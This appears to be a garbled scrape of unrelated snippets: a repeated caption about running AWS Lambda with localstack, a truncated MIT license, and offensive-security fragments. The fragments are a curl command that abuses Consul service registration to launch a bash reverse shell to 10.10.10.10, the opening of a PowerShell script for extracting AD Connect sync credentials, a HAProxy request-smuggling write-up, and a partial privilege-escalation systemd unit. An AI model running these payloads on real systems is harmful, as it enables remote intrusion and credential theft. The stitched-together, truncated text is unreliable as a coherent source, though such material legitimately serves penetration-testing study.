Example on how to run locally an AWS Lambda via API Gateway using localstack.
Based on...
#!/bin/bash | |
# Copyright © 2021 Chirag Bhatia | |
# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: | |
# The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. | |
# THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOF |
curl --header "X-Consul-Token: XX-<SNIP>-XX" \ | |
-X PUT \ | |
-H "Content-Type: application/json" \ | |
-d '{"Address": "127.0.0.1", "check": {"Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.10.10/80 0>&1"], "interval": "10s", "Timeout": "864000s"}, "ID": "alvinID01", "Name": "alvinName01", "Port": 80}' \ | |
http://127.0.0.1:8500/v1/agent/service/register |
Example on how to run locally an AWS Lambda via API Gateway using localstack.
Based on...
Write-Host "AD Connect Sync Credential Extract v2 (@_xpn_)" | |
Write-Host "`t[ Updated to support new cryptokey storage method ]`n" | |
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync" | |
try { | |
$client.Open() | |
} catch { | |
Write-Host "[!] Could not connect to localdb..." | |
return |
The following describes a technique to achieve HTTP request smuggling against infrastructure behind a HAProxy server when using specific configuration around backend connection reuse. This was tested against HAProxy versions 1.7.9, 1.7.11, 1.8.19, 1.8.21, 1.9.10, and 2.0.5. Of all these tested versions, only 2.0.5 was not vulnerable out of the box, although it is when using the no option http-use-htx
configuration, which reverts back to the legacy HTTP decoder. 2.1 removed the legacy decoder so it is not affected.
To actually exploit HTTP smuggling using the issue described in this writeup, the backend server(s) behind HAProxy would also have to be vulnerable in the sense they too would need to suffer from a bug, but one which parses and accepts a poorly formed Transfer-Encoding header (almost certainly violating RFC7230), and allows HTTP keep-alive.
This is how HAProxy handles a request when Transfer-Encoding and Content-Length is p
https://alvinsmith.gitbook.io/progressive-oscp/untitled/vulnversity-privilege-escalation
[Unit]
Description=roooooooooot
[Service]
Type=simple